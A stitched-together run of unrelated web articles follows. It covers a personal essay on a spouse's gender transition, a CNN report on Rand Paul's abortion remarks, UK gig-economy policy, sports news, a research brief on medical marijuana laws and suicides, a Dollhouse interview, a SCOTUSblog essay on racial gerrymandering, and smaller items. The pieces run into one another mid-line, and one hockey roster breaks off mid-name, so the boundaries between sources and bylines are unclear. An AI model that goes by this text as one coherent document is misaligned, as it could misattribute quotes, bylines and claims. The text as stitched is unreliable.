I had to become comfortable in my own skin and with my own identity. I had to let go of what other people thought of me and of my family. I had to cope with the idea that people would assume my sexuality, and that there would be times when it wasn’t appropriate for me to explain the situation and let people into our private life. I knew I was still a heterosexual woman, who would from now on be seen as a lesbian, and I had to become confident in who I was, who I am, and stop caring about the labels society insists we adopt.
None of this matters, I realized. What matters is that I love my spouse.
Last year brought questions, challenges, and more big decisions. We lived day by day, moment to moment, and it was exhausting. Slowly, the husband I had known began to disappear, through a process of body hair removal, hair growth, nail polish, make up application, hair accessorizing, and the slow replacement of men’s clothing with women’s clothing.
Eventually, I was ready to make a full transition myself, and to move forward after being stuck in limbo for so long. When your spouse transitions genders, you transition too. I was ready to move forward, and live full time as wife and wife. This was a big life change for both of us. Medically transitioning meant coming out to all our friends and family and most importantly to me, it meant conceiving a second child.
In the summer, we began both of those journeys—the grueling process of coming out, and then of having a baby. The decision to have a second child was easy. We knew our family wasn’t complete, and since Hormone Replacement Therapy (HRT) leaves you infertile, the alternative to having a baby before medically transitioning would involve a grueling process of storing sperm to use for IVF later. I had no doubts about this decision; if I was staying, I needed this baby. Emily was worried I’d decide to leave later and not only take the child we already had, but also take the new child. In the end, we agreed that no matter what happened, this was the right decision for us. We vowed to each other that no matter what, we would raise our children together.
I became pregnant in November, just a year after my spouse came out to me.
The process of coming out was inevitably fraught. The hardest person to come out to was my dad. I am a daddy’s girl, and my dad is a 60-something white, straight man. I knew that he wouldn’t understand, and I didn’t know how he would take it, but I assumed that he would take it the worst. Amazingly, though, he did better than expected. No, he didn’t understand and I still don’t think he does, but he has made an effort. He usually uses the correct name and pronouns, and he treats her the same way as he did before.
By December 31, everyone who had to hear the news about the transition from us personally, had. We were ready to go public and usher in the New Year without living a double life. Just before midnight, we posted on Facebook.
Emily, as my spouse would now be known, stated that her New Year’s resolution was to become a girl, while my status explained the situation in detail. We tagged each other so our posts made sense.
We were nervous that we would lose people in our lives, but knew anyone that truly loved us would stand by our sides. Expecting some negativity, we were instead met with an outpouring of love and support from friends and family. Friends posted messages such as “much support to you and your family,” “you are amazing and strong, good luck,” and “I wish you the best on your journey.” We felt truly blessed to know that so many people stood by our family.
In a matter of months, Emily began her medical transition by starting Hormone Replacement Therapy. I was 12 weeks and two days pregnant when she took her first dose of estrogen; because of HRT causing infertility, it wasn’t considered safe to transition until after my first trimester. Emily also made the transition at work.
By spring, my husband was gone, and my spouse who now lived full time as a woman had emerged. Immediately, she was a happier person. Living her authentic self, she could be who she was and do what she wanted. She no longer had to conform to an identity that was never her own.
And as for me? The experience was a roller coaster from beginning to end; I don’t think there’s a single emotion I haven’t felt, be it anger, denial, sadness, fear, loneliness, happiness, joy, or excitement. People who love me worried I was putting my own feelings on the backburner for Emily—that as much as she had to transition for herself, I had to worry about my happiness as well.
But honestly, that’s not how I see it. I now understand that the situation is really quite simple: My spouse is happier as a woman, and that makes our whole family happier.
Nearly two years after she first came out to me, our life is very different. It is more different than what I envisioned on our wedding day, and more different than what I imagined when I first found out what my spouse was going through. But it’s a difference that’s okay, because what is the same is the love that we have for each other, the strength we get from each other, and the beautiful life that we have built.
Five years after marrying the person I love, I am part of a trans family with an amazing little boy and a sweet baby girl on the way. And it turns out this is my happily ever after.
This piece by Amanda Crose originally appeared on The Establishment, a new multimedia site funded and run by women.(CNN) Rand Paul says he doesn't want to be grilled about abortion until Democratic National Committee Chairwoman Debbie Wasserman Schultz answers similarly tough questions.
Wasserman Schultz hit back -- highlighting Paul's testy interviews with female television anchors, too, by saying she hopes he can "respond without'shushing' me." But Paul, the Kentucky Republican senator who launched his 2016 presidential campaign this week, said her answer made it sound like she is indeed okay "killing a seven-pound baby."
Paul, the Kentucky Republican senator who launched his 2016 presidential campaign this week, bristled at a question about abortion while talking with reporters in New Hampshire on Wednesday.
"Why don't you ask the DNC, 'Is it OK to kill a seven-pound baby in the uterus?'" Paul said.
His comment came after The Associated Press published a report that said Paul had ducked questions about his views on what exceptions -- if any -- he'd support if abortion were to be banned.
In a press conference shortly after the AP's story was published, Paul said discussions of abortion focus too much on "exact details" on the right, and that Democrats should face similarly complex questions.
"We always seem to have the debate way over here on what are the exact details on exceptions or when it starts," Paul said.
He said reporters should go to Wasserman Schultz with similar questions -- and then ask him again.
"You go back and you ask Debbie Wasserman Schultz if she's okay with killing a seven-pound baby that is just not yet born yet. Ask her when life begins, and you ask Debbie when she's willing to protect life," he said. "When you get an answer from Debbie, come back to me."
Wasserman Schultz quickly responded, saying Paul should explain whether he believes abortion should ever be legal.
"Here's an answer," she said in an emailed statement. "I support letting women and their doctors make this decision without government getting involved. Period. End of story. Now your turn, Senator Paul."
Then, she posed some questions of her own, saying: "We know you want to allow government officials like yourself to make this decision for women -- but do you stand by your opposition to any exceptions, even when it comes to rape, incest, or life of the mother? Or do we just have different definitions of 'personal liberty'? And I'd appreciate it if you could respond without'shushing' me."
But Paul wasn't fazed — or impressed — by Wasserman Schultz's answer. In an interview with CNN's Wolf Blitzer, the senator said it seemed to him like she wasn't opposed to late-term abortions.
"Sounds like her answer is yes, that she's okay with killing a seven-pound baby," he said.
Paul went on to say that "even most of my friends who are pro-choice" are opposed to such abortions, but acknowledged that "there's a bit of doubt and discussion [about abortions] earlier in the pregnancy."
"But Debbie's position, which I guess is the Democrat Party's position, that an abortion all the way up until the day of birth would be fine, I think most pro-choice people would be really uncomfortable with that," he added. "So I don't know -- I really think she's got some explaining to do."Matthew Taylor, who is leading employment practices review, says he expects Theresa May to support changes to rights of self-employed workers
Theresa May backs plans for an overhaul of workers’ rights to reflect 21st-century employment practices, according to the chair of Downing Street’s review into modern work.
Matthew Taylor, a former adviser to Tony Blair who was appointed by the prime minister to lead the review into the gig economy, said he would be recommending changes to the rights of self-employed workers when his review was published in June.
Taylor said his review would highlight the blurring of boundaries between people who are self-employed and therefore get few employment rights and people who are classified as employees, eligible for full rights.
“If you are subject to control – if as an individual in the relationship with the person who’s hiring you, they control your work, they control the basis upon which you work, they control the content of your work – that looks like the kind of relationship where the quid pro quo should be that you respect that person’s employment rights and entitlements,” he told ITV’s Peston on Sunday.
The question has led to a number of high-profile court cases in recent months. In October, Uber lost a landmark employment tribunal case brought by drivers, who said the stringent conditions placed on their work by the taxi hailing app company meant they were not self-employed, but employees who were entitled to minimum wage and sick pay.
Taylor said he defined the boundary as a “question of control” that companies have over workers. “If you want to control your workers, you will have to respect their rights and provide entitlements, too, but if you really don’t want to control them, that’s fine, then they’ll be self-employed,” he said. “But there look like there are cases at the moment where firms both want control but not to provide those workers with entitlements and rights.”
Taylor said he believed that more industries would soon be faced with workers who were no longer prepared to accept punishing conditions. “In the 21st century, a time when we have so much autonomy and choice and we expect control in our lives, we don’t accept the idea of kind of wage slavery, the idea of people at work having no choice, no voice, no capacity to influence what’s going on around them and I think people feel that doesn’t really fit with the times,” he said.
Automation was one of the biggest challenges for the his review, Taylor admitted. “People want it to be that robots create the possibility for human beings to have fulfilled work, not that we end up serving the machines,” he said.
Taylor’s review has found evidence of companies asking employees to incorporate themselves as sole traders, rather than go on the company payroll, enabling them to avoid benefits such as statutory maternity pay or sick pay, according to the Times.
Taylor expressed some disappointment at the budget U-turn over national insurance contributions, which he said was “a kind of battle between politics and policy” which he said he hoped would not affect the implementation of his review after it was published in the summer.
“I kind of hoped the policy would win this time because it was essential policy, but in the end the politics won and I think that the fact that the Conservatives have made a manifesto pledge about taxes have made it an unsustainable policy, and I do hope the lesson that is learned from this,” he said.
Though government sources told the Times they expected May to put her full weight behind Taylor’s recommendations, the review’s chair said that although the prime minister had been “supportive so far”, he was realistic about what might happen in future political battles. “[What] I have to do is produce the best recommendations I can – in the end it’s up to government to decide what they can implement and that puts us back in the domain of politics,” he said.Coentrao wants Benfica return
By Football Espana staff
Real Madrid full-back Fabio Coentrao has reportedly informed his agent to facilitate a return to Benfica this season.
The 25-year-old moved across from Benfica to Madrid in July 2011 in a €30m transfer, but after two inconsistent seasons, is set to leave the Santiago Bernabeu this summer.
Monaco are known to be tracking the Portuguese international, but the player has reportedly informed his agent Jorge Mendes of his intention to return to the Estadio da Luz this transfer window.
Talks are reportedly ongoing between Madrid and Benfica on such a move, with the Lisbon outfit reportedly already making it clear that they cannot take on his current €2.5m net salary.
Los Blancos, meanwhile, are seen as willing to negotiate a permanent transfer from a starting point of €20m.**********
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The Flyers have removed the day-to-day description oflower-body injury and have placed him on the injured reserve list. While they can back-date it to the time of the injury (he last played on Jan. 19), the fact that he was put on IR over the All-Star break is not an encouraging sign for his readiness to return to practice -- let alone play -- when the team returns to prepare for Tuesday's game against the Montreal Canadiens.Although the Flyers earned an overtime win against the NHL-leading Washington Capitals this past Wednesday, it has been obvious during Couturier's absence how much the team misses him when he is not in the lineup. The team has had a hard time stopping the bleeding when other teams start to generate momentum and the Flyers desperately need a stabilizing shift or two restore order. The second periods of the Pittsburgh and Washington games (although the latter ended well for the Flyers) and the first period of last week's game against Boston were scenarios where Couturier's presence could have at least helped the Flyers gain their equilibrium sooner.Couturier alone isn't the difference between winning and losing, but his presence at least keeps the team out of some mismatches when the top line isn't on the ice. It is not entirely coincidental that the team is 2-5-2 in the nine games he's missed to date and 19-11-4 when he's been available.The NHL All-Star Game, now being conducted as a three-stage 3-on-3 tournament, will air on NBC Sports Network on Sunday. Each mini-game will be 20 minutes in length. Team Metro, featuring Flyers captainwill play against Team Atlantic, featuring Giroux's friend and former Flyers linemateat 5 p.m. ET. At 6 p.m., Team Central plays Team Pacific. At 7 p.m., an Eastern Conference All-Star team will play a Western Conference team.Here is an historical rundown of Flyers' participants in the NHL All-Star Game (or substitute events) from the team's first season through present day:1967-68 Leon Rochefort1968-69 Ed Van Impe, Bernie Parent1969-70 Bobby Clarke, Bernie Parent1970-71 Bobby Clarke1971-72 Bobby Clarke, Simon Nolet1972-73 Bobby Clarke, Gary Dornhoefer1973-74 Bobby Clarke, Bernie Parent, Ed Van Impe, Joe Watson1974-75 Bobby Clarke, Bernie Parent, Ed Van Impe, Jim Watson,Bill Barber, Fred Shero (Coach)1975-76 Bill Barber, Andre Dupont, Reggie Leach, Rick MacLeish (sub for Bobby Clarke), Fred Shero (coach), Wayne Stephenson, Jim Watson1976-77 Tom Bladon, Bobby Clarke, Gary Dornhoefer, Rick MacLeish, Bernie Parent, Fred Shero (coach), Jim Watson, Joe Watson1977-78 Bill Barber, Tom Bladon, Bobby Clarke, Bob Dailey, Fred Shero (coach), Wayne Stephenson, Jim Watson1978-79: Bill Barber, Bobby Clarke1979-80 Bill Barber, Norm Barnes, Reggie Leach, Rick MacLeish, Pete Peeters, Brian Propp, Jim Watson1980-81 Bill Barber, Bob Dailey, Paul Holmgren, Pete Peeters, Pat Quinn (coach), Behn Wilson1981-82 Bill Barber, Brian Pro |
Under the Controlled Substances Act of 1970, marijuana was classified as a Schedule I drug because it was considered to have no “accepted medical use in treatment in the United States” (Eddy, 2010). Since then, 23 states and the District of Columbia have legalized the use of medical marijuana; over a dozen more state legislatures have recently considered medical marijuana bills.
The relationship between marijuana and mental health has received a great deal of attention from both proponents and opponents of medical marijuana legalization. Proponents argue that marijuana can be an effective treatment for bipolarism, depression, and other mood disorders (Rosenthal et al., 1996; Grinspoon and Bakalar, 1997; Zimmerman, 1999). They also argue that medical marijuana patients are able to reduce their use of painkillers, tranquilizers, and psychiatric medicines because of their use of marijuana (Lucido, 2004). Opponents, on the other hand, argue that marijuana use increases the likelihood of depression, anxiety, psychosis, and schizophrenia (Zammit et al., 2002; Henquet et al., 2004; Goldberg, 2006; Shulman, 2008). They also argue that the negative effects of marijuana are long-lasting and that users are at risk of suffering from decreased psychological well-being later in life (Green and Ritter, 2000; McGee et al., 2000).
Our research examines the relationship between medical marijuana laws (hereafter MMLs) and suicides. While the majority of people who suffer from mental illness do not commit suicide, over 90 percent of those who do commit suicide have a diagnosable mental or substanceuse disorder (Moscicki, 2001). The relationship between marijuana use and suicide-related outcomes (e.g., depression, suicidal ideation, and suicide attempts) has been studied extensively (Petronis et al., 1990; Felts et al., 1992; Borowsky et al., 2001), but there have been no previous attempts to estimate the relationship between medical marijuana laws and completed suicides, the tenth leading cause of death in the United States (National Institute of Mental Health, 2010).
Our study begins by detailing the channels through which MMLs could impact the risk of suicide. We cite research from epidemiological and medical studies showing that marijuana use is associated with depression and suicidal ideation, although we note that any observed association between marijuana use and outcomes such as these could be driven by difficult-to-observe factors at the individual level, such as personality (Van Ours and Williams, 2011) or simply reflect self-medication (Gruber et al., 1996; Rey et al., 2002). We also note that previous studies have found evidence to support the hypothesis that marijuana and alcohol are substitutes (Chaloupka and Laixuthai, 1997; Saffer and Chaloupka, 1999; DiNardo and Lemieux, 2001; Anderson et al., 2013; Crost and Guerrero, 2011), and we cite research linking alcohol policies and suicides (Birckmayer and Hemenway, 1990; Jones et al., 1992; Markowitz et al., 2003; Carpenter, 2004; Carpenter and Dobkin, 2009).
Our empirical analysis draws on data from the Centers for Disease Control from 1990 through 2007 to examine the relationship between legalizing medical marijuana and suicide rates. This empirical approach can be thought of as exploiting a “natural experiment” unrelated to comorbidities or personality. Our results suggest that the passage of a MML is associated with an almost 5 percent reduction in the total suicide rate.
When we examine the relationship between legalization and suicides by gender and age, we find evidence that MMLs are associated with decreased suicides among 20- through 29-year-old males and among 30- through 39-year-old males. This result is consistent with registry data from Arizona, Colorado, and Montana showing that most medical marijuana patients are male, and that roughly half are under the age of 40 (Anderson et al., 2013, p. 360). Estimates of the relationship between legalization and suicides among females are less precise and sensitive to functional form.
We conclude that the legalization of medical marijuana leads to fewer suicides among young adult males. This result is consistent with the oft-voiced, but controversial, claim that marijuana can be used to cope with depression and anxiety caused by stressful life events. However, the result may, at least in part, be attributable to the reduction in alcohol consumption among young adults that appears to accompany the legalization of medical marijuana (Anderson et al., 2013).
Our study is relevant to the ongoing debate surrounding marijuana legalization for medical or recreational purposes. Opponents of these policy changes contend that any increase in marijuana use is undesirable. Yet our research suggests the public-health benefits of legalization may outweigh the costs.
NOTE
This Research Brief is based on D. Mark Anderson, Daniel I. Rees, and Joseph J. Sabia, “Medical Marijuana Laws and Suicides by Gender and Age,” American Journal of Public Health 104, no. 12 (December 2014): 2369-76, http://ajph.aphapublications.org/doi/abs/10.2105/AJPH.2013.301612. All works cited are provided there.
An earlier working version of the paper is available at: http://www.iza.org/en/webcontent/publications/papers/viewAbstract?dp_id=6280."Könnt ihr mitsingen?" asks Brian in perfect German before Love Of My Life.
Freddie takes a nasty fall at the end of Hammer To Fall, and he's helped to the piano, as seen in the last picture. The band convene for a couple minutes to discuss what will happen, and they decide to cut out a few songs. In considerable pain, Freddie belts out Bohemian Rhapsody, We Will Rock You, and We Are The Champions as best as he can from the piano.
Brian comes in a couple bars early for his We Will Rock You solo, probably out of anxiousness to end the show so that Freddie can get the medical attention he needs. Immediately after the show he is taken to a hospital, and his leg would be bandaged for the rest of the European tour. From here onward the band would bring a physiotherapist on tour, and Freddie would continue to have troubles with his leg for quite some time.
The second set of photos was taken by Ronald Lemburg, among them some great shots of the front-of-house mixing board.WASHINGTON: A federal grand jury has indicted the Alabama police office who violently threw to the ground an Indian grandfather visiting his son in the town of Madison, saying he used "unreasonable force" while acting in uniform.The victim, Sureshbhai Patel was partially paralyzed and had to spend severl weeks in the hospital, and has only now resumed walking with the aid of a walker.The one-count indictment filed in US district court charges that Eric Sloan Parker, 26, while acting in his official capacity as a police officer on February 6, injured Patel (identified in the indictment only by his initials S.P) by slamming him to the ground. Parker's actions deprived Patel of his right under the US Constitution to be secure from unreasonable seizures, which includes the right to be free from unreasonable force by someone acting under color of law, according to the indictment.The indictment carries a maximum penalty of ten years in prison if proved in a court of law. Parker’s attorney has said he expects his client, who has been fired from the Madison police force, to plead not guilty.Patel was out on a morning walk for exercise in the vicinity of his son’s suburban house in Madison when a neighbor reported a "skinny black guy" in a call to 911 and asked the police to check him out. Officer Parker and a trainee colleague arrived on the scene in a patrol car and accosted Patel to question him, and found that he spoke limited English. Then, inexplicably, Parker tripped Patel and threw him to the sidewalk face down.The incident was captured by the dashboard camera of the police car, and the video went viral, causing widespread outrage in India and also in the US Concerned people, mainly Indian-Americans, raised more than $ 200,000 for Patel’s medical expenses, since he had been in the U.S for just about two weeks at that point and was uninsured. Efforts by Parker to similarly raise at least $ 10,000 for legal expenses netted less than $3500.The Madison police initially suggested that Patel resisted questioning, claiming in a that he "began putting his hands in his pockets," (a strict no-no in gun happy America) when the officers arrived, and that he "attempted to pull away" when the officers tried to pat him down. But following a review of the incident by its Office of Professional Standards, it concluded that the actions of Officer Parker "did not meet the high standards and expectations of the Madison City Police Department."The statement included an apology to Patel’s family, following which Parker was fired from the force, arrested and charged with third-degree assault, a misdemeanor to which he has pleaded not guilty. That case will go on separately. Patel meantime has filed a lawsuit in Federal District Court against Parker and the city of Madison, seeking unspecified damages.The Justice Department indictment was announced Friday by Acting Assistant Attorney General Vanita Gupta of the Civil Rights Division, US Attorney Joyce White Vance of the Northern District of Alabama, and Special Agent in Charge Roger Stanton of the FBI, who investigated the case. Trial attorneys of the Civil Rights Division and Assistant U.S attorneys from Alabama will now prosecute the case.A conservative group known for undercover investigations has been linked to a woman who falsely told The Washington Post that Alabama Senate candidate Roy Moore impregnated her as a teenager.
Moore has been accused of multiple instances of sexual misconduct. But The Washington Post reported Monday that one accuser approached the newspaper earlier in the month with a fake story likely designed to embarrass the newspaper.
The Post did not publish the woman’s claims, but did release a story Monday about its dealings with her. Earlier in the day, reporters from the newspaper saw her walking into the New York offices of Project Veritas, a conservative group with a long record of targeting Democratic groups and major media outlets.
The group’s leader refused to comment on the Post story.
(© Copyright 2017 The Associated Press. All Rights Reserved. This material may not be published, broadcast rewritten or redistributed.)Dollhouse season two is on DVD, which means it's time to rediscover Joss Whedon's most challenging show. We spoke to star/producer Eliza Dushku about the show's challenges, the criticisms Dollhouse faced...and the Echo/Paul outtakes that were too much for TV.
For those of you who missed it, Dollhouse was a show that ran for two seasons on Fox, about people whose minds have been erased, allowing them to be programmed to be whoever a paying client wants. And in the second season, newly out on DVD, the questions about the morality of this technology get amped up massively, as we see the true evils behind treating people like property — and we explore the idea that the abuse of this technology leads to the apocalypse.
We were lucky enough to get about 20 minutes on the phone one-on-one with Eliza Dushku today, and here's what she told us.
So now that the whole series is going to be on DVD. What do you think people will get out of it when they watch it all in one go?
We had toyed with the idea of having the show go on [as a serialized adventure], and not having stand-alone episodes. The inevitable thing with Joss' characters is that you start to feel for each character. And with each episode, every character got so deep, and so much was revealed. I would know that even as I was watching, or reading the scripts from show to show, that wait time in between is brutal. So when you get to see all these characters and all stories, strung together, it'll be just what the fans are waiting for.
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So what do you hope people get out of your performance in particular, when they watch a second time around?
As far as the evolution of Echo, it was such a challenging and awesome part to play, especially in the second season as she's really becoming a person. She knows who she is. She's flipping in and out of these personalities, and learning how to control them and bring them out at different times. I've never done something like that. The speed at which we shot - in a perfect world, with all those different characters, it would have been cool to spend more time on each one, but I think also, there's something to be said for just putting it out there, and just watching the schizophrenia of it all.
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Halfway into the second season, there's that one episode where it jumps forward in time, and suddenly Echo has control over her personalities. It's really exciting, but also a relief to see that. Was it a relief for you too, that you were finally able to play that?
Yeah I mean... for Enver [Gjokaj] and Dichen [Lachman] and everybody who played a doll, the doll state was probably one of the most difficult things to do. It provided a deeper connection — and I felt like you really root for Echo by the second season because you see that she's coming into her own person. [And since you didn't know] who you're rooting for when she's changing [personalities], it was awesome to get to know her - and to open up the question at the end of, "What if Caroline [isn't worthy of Echo's sacrifice]. I'm saving this body for her, and what if we don't like who she is?"
I love it, I miss it. It's been so long since I've done interviews about the show. I have all these beautiful, nostalgic feelings coming back. It's bittersweet. I'm so proud of what we did, I wish we could have gone on forever, we had so many fans, and now people can show their friends and show their kids - once their kids are a certain age of course. It's preserved, and it gets to live on forever.
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So you mentioned about Caroline. The first few times we met Caroline, it wasn't clear if she was really someone we could root for.
She was a whiny little brat. Those are the exact words I used to Joss. "The Caroline character is kind of a whiny little brat, I don't know if we're going to be able to root for her." He was like, "But you know, we have to be have some place to go."
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Was that something you worried about, during the evolution of this series? Who people could root for, and who they couldn't?
One of the cool things about Joss and his characters is, I feel like you're almost rooting for... the person you least expect to, in every episode. When you look at the character development with Fran [Kranz]'s character and Olivia [Williams]' character... and also, when I look back at my role as Faith, you have these characters who you think you wouldn't root for in a million years, and they do horrible things. And then you have an episode where you really start to find some unexpected beauty there, and compassion for these people. By the end I sort of feel like you were rooting for everybody, because that's the beautiful thing about the true human characters that he creates. They're flawed, and they're not perfect, and they sometimes do horrible things and in the end you look at them as a whole. [Laughs] The tragic humans that we all are.
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And of course you were producing Dollhouse as well as starring in it. What do you think you learned about being a producer from Dollhouse?
Well, on the one hand, people would say, "A show about prostitution and human trafficking on Fox? It sounds like a perfect fit." Looking back, it may not have been the best fit for the show. We originally pitched a show and felt like that everyone got it and everyone was on board, and then before the show was supposed to air, I think Fox panicked and felt the show was going deeper than they had maybe expected and it was beyond fun one-off episodes where we're running out, being assassins or... it really started to make people uncomfortable. Which I suppose, was what we had intended to do. People have said, Joss has definitely got to go do a cable show, where you can really have the freedom to get fucked up. Maybe when he's finished Avenging.
Have you talked to him lately? Has he told you anything about it?
A little bit. We got to see each other. Nathan Fillion had a barbecue recently. I'm just so psyched for him, it's just the perfect project for Joss. He has an awesome ensemble cast, and nobody works with an ensemble like does. I'm just thrilled to see what happens.
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You mentioned human trafficking and prostitution. Some people felt like Dollhouse was a show that was about rape, more even than prostitution. Do you think there was anything to that?
Well, I mean that's definitely sort of the question, the moral question, of the show. Is it morally right to have this kind of technology and abuse technology, and then the question is, like, are they volunteers? And they're volunteers, does that negate [the idea] that it's rape? And so that was, I think, the black and white and gray areas that we explored. In some situations, absolutely. In Sierra's case, she was taken advantage of in her doll state, and it was horrifying. It goes to explore what those boundaries are, and what they aren't, I guess.
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Do you feel happy with how the show ended?
Yeah, I thought it was beautiful. It was really full circle and having the cast and the apocalypse back from "Epitaph One," which I just loved, and sobbed when I first saw it at Comic Con. It's such a complex show, and so much had happened, and yet the way they tied it up and really brought closure, not just to the characters but to everybody that was on the show, the actors... it was just comforting to see it end that way, to have that closure.
What do you think it would be like for Echo to be trapped in a basement for a year with Paul Ballard in her head?
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That should be the next show. It would be great play, wouldn't it? Would they ever leave the house? We did a few outtakes of the final scene with Paul in Echo's mind, that were not appropriate for television. All the things we could do, the places we could go. But it's beautiful, you know.
I cried when I read it. Joss would just off people - anyone - you just read the script, and you see a bullet just go through Paul's head, and you go, "How could he?" But there's always a reveal and there's always a payoff somewhere. He does things so intentionally and so much vision.
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What about Echo and Boyd? He was such a paternal figure to her, and then he turns out to be this completely different person. How do you think that changes how you view their relationship from the beginning?
I think it makes it all that much heartbreaking, for both of them. He absolutely was this paternal father figure. [But] what we want and what we do are different things sometimes. And he was corrupt from the get go, and it makes you look back and [see that] there were moments of true connection and true affinity between them and it made it all that much more heartbreaking. And it felt like something we did together with the character of Faith... people will do horrible things, and yet that's what makes it all the more disturbing and riveting, that people connect to it. Yeah, in the end he was really, really, really bad, but we knew that the show was going to be ending, and whether or not Joss had it in his mastermind plan all along, that was a twist. That was the kind of twist that I feel like people scream and go crazy over, and go, "No, no, how could he?" But that's riveting storytelling right there. The betrayal and the abandonment and the wonderfully juicy stuff that makes us react and bond and have these feelings for the characters.
Speaking of Faith, do you think there's any chance at this point you might play Faith again?
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After twenty years in this business, I feel like you never know. I know for sure that Joss is a lifelong friend and talent, and we'll be seeing each other again for sure.
Dollhouse season two is out on DVD now. Eliza Dushku will be in The Big Bang Theory on Nov. 4.Anita Earls is the executive director of the Southern Coalition for Social Justice. She serves as counsel for the plaintiffs in two pending racial-gerrymandering cases, Dickson v. Rucho and Covington v. North Carolina, as well as a pending partisan-gerrymandering case, League of Women Voters v. Rucho.
For all the rhetorical flourishes back and forth between Justice Elena Kagan’s opinion for the majority and Justice Samuel Alito’s opinion concurring in part and dissenting in part, the Supreme Court’s ruling in Cooper v. Harris is not a watershed development in the theory of racial gerrymandering. Two of the central legal questions answered there had been answered in prior cases.
With regard to North Carolina’s Congressional District 1, which the legislature argued was justified as a race-based district because it was drawn to comply with Section 2 of the Voting Rights Act, the court applied Bartlett v. Strickland and Thornburg v. Gingles, to come to the unremarkable conclusion that absent evidence of the third prong of Gingles, the legislature was not justified in dramatically increasing the number of majority-black districts in the state. In other words, where white bloc voting is not usually defeating the candidate of choice of black voters — where coalition districts are working — the Voting Rights Act does not demand the creation of majority-black districts.
With regard to Congressional District 12, which the legislature defended as based on partisan factors, not race, the court followed Anderson v. Bessemer City to apply a clear-error standard of review to factual findings, and looked to Alabama Legislative Black Caucus v. Alabama and Bethune Hill v. Virginia Board of Elections for what a plaintiff must prove to establish that race was the predominant consideration in drawing a district. Indeed, reaching back to Arlington Heights v. Metropolitan Housing Development Corp., the court reminded us that “in no area of our equal protection law have we forced plaintiffs to submit one particular form of proof to prevail.”
The dissent insists that Cromartie II requires a plaintiff in a racial-gerrymandering case to prove that an alternative districting plan exists that has the same partisan impact without the same racial demographics. The biggest elephant in the room here is the fact that the 2016 congressional redistricting plan enacted by the North Carolina General Assembly as a remedy for the Shaw v. Reno violation does just that. The state sent back to Congress ten Republicans and three Democrats, just as they had in 2014, and by all measures of partisan impact, the 2011 plan is only slightly more favorable to Republicans than the 2016 plan. All of that was known by the time this case was argued last December.
Although not breaking new ground, the court’s post-2010 census round of racial gerrymandering cases make clear that while not every district drawn as a majority-black or majority-Latino district is a racial gerrymander subject to strict scrutiny, states seeking to use packing to weaken the voting strength of black or Latino voters cannot hide behind the Voting Rights Act to do so.
Most importantly, this line of cases, and particularly Kagan’s opinion in Cooper, should put to rest the false dichotomy of “is it race or is it party” that threatened to turn racial-gerrymandering doctrine into a meaningless standard. The census data puts racial data squarely in front of legislators enacting redistricting plans. In most states, election returns showing past voting patterns are also routinely in front of legislators. Party affiliation and voting patterns are also almost everywhere correlated to race. In the absence of direct “smoking gun” evidence of legislative intent, teasing out legislative motive from a binary framework of deciding whether race or party was the predominant factor is an abstraction that does not reflect the real world.
The court’s opinion in Cooper makes clear the common-sense understanding that “the sorting of voters on the grounds of their race remains suspect even if race is meant to function as a proxy for other (including political) characteristics.” The equal protection clause does not have a partisanship exception. State legislators cannot intentionally assign voters to districts on the basis of their race as long as they ultimately want a particular partisan result. So race may predominate even if the legislature’s ultimate goal was a partisan one. Had the court gone the other way on this question, we would face a situation in which when white voters bring a racial gerrymander claim (the 1990s cases), race is the predominant factor, but when black voters bring the claim (the cases from 2010 through this term), party is thought to predominate. That “heads I win, tails you lose” outcome would have been manifestly unjust.
The redistricting decisions this decade from Alabama, Virginia and North Carolina together provide a road map for what plaintiffs need to prove to establish that race predominates in the drawing of a district, and, by implication, what legislatures need to avoid doing when enacting a plan. For legislatures, the lessons include: First, mechanical racial targets are a really bad idea. Just don’t do it. Second, diluting the voting strength of voters based on their race by cracking geographically compact concentrations of black, Latino, Asian or Native American voters is still a violation of Section 2 of the Voting Rights Act. Third, diluting the voting strength of racial minority voters by packing them in high concentrations in as few districts as possible is unconstitutional even if done for partisan reasons. Importantly, as the court made clear this term in Bethune-Hill, plaintiffs do not have to prove there is an “actual conflict” between racial considerations and traditional redistricting principles. A geographically compact district may still be a racially gerrymandered district.
Looking forward, we expect action soon on the two redistricting cases from North Carolina still pending before the Supreme Court, Dickson v. Rucho and Covington v. North Carolina. Given that all eight justices in Cooper agreed that Congressional District 1 was unconstitutional, based on the fundamental legal error that the legislature made in concluding that the Voting Rights Act required them to draw districts with 50 percent or greater black voting age population wherever possible, North Carolina’s racially gerrymandered legislative districts drawn in reliance on the same legal error simply cannot pass muster.
Litigation over North Carolina’s congressional districts now turns to the very different and unsettled waters of partisan gerrymandering. Two cases are poised to go to trial on June 26 before a three-judge court on the issue of whether the 2016 congressional districts are an unconstitutional partisan gerrymander, one raising an efficiency gap theory and the other raising a First Amendment theory. The Cooper opinion helps highlight some of the important distinctions between an unconstitutional racial gerrymander and the various theories of liability being advanced to establish a partisan gerrymander. As tired as the court may be of redistricting litigation this decade, there is still work to be done.
Recommended Citation: Anita Earls, Symposium: Bringing sanity to racial-gerrymandering jurisprudence, SCOTUSblog (May. 23, 2017, 5:32 PM), https://www.scotusblog.com/2017/05/symposium-bringing-sanity-racial-gerrymandering-jurisprudence/We reported last week on the raft of Democrats and Republicans threatening to run against Gov. Andrew Cuomo. Now, we can add two more potential candidates from Syracuse: Republican Senator John DeFrancisco, the number two Republican in that body and a conservative leader, and Democratic Mayor Stephanie Miner.
Interestingly, Miner is termed-out of office this year, so she won’t have to give up her seat for a difficult race. There’s also talk that she could instead run against Republican Congressman John Katko, which might be less of a stretch for her.
Will they actually run? That’s anyone’s guess. Cuomo’s weakness is largely of his own making and he’s still very formidable with a $25 million war chest. But he’s starting to show vulnerabilities that the right candidate could exploit.
However, without the right candidate, this could be a similar race to the New York City Mayor’s race right now, where a weakened Bill de Blasio still looks set to win in a walk.With the abundance of project-grade 914s on the market at a given time, it can be tempting to hack one up to use for something other than a conventional restoration. While plenty have found their way to the autocross course, this 1975 914 on eBay is the first I’ve seen in a Lakester configuration. On a very broad level, Lakesters refer to racing vehicles with a heavy emphasis on streamlining the body as much as possible to yield excellent aerodynamic qualities. Most of us associate Lakesters with the impressive machines chasing speed records at the Bonneville Salt Flats, and this Porsche’s California location may indicate it made the trek to Utah on more than one occasion. Even if it didn’t, a race-prepped 914 could offer some cheap fun on track days depending on the condition and quality of this car’s mechanical and safety systems. What would you do with it – take it to Bonneville or go cone chasing with a local autocross club?Dispute over church expansion project, Laurelhurst residents continues
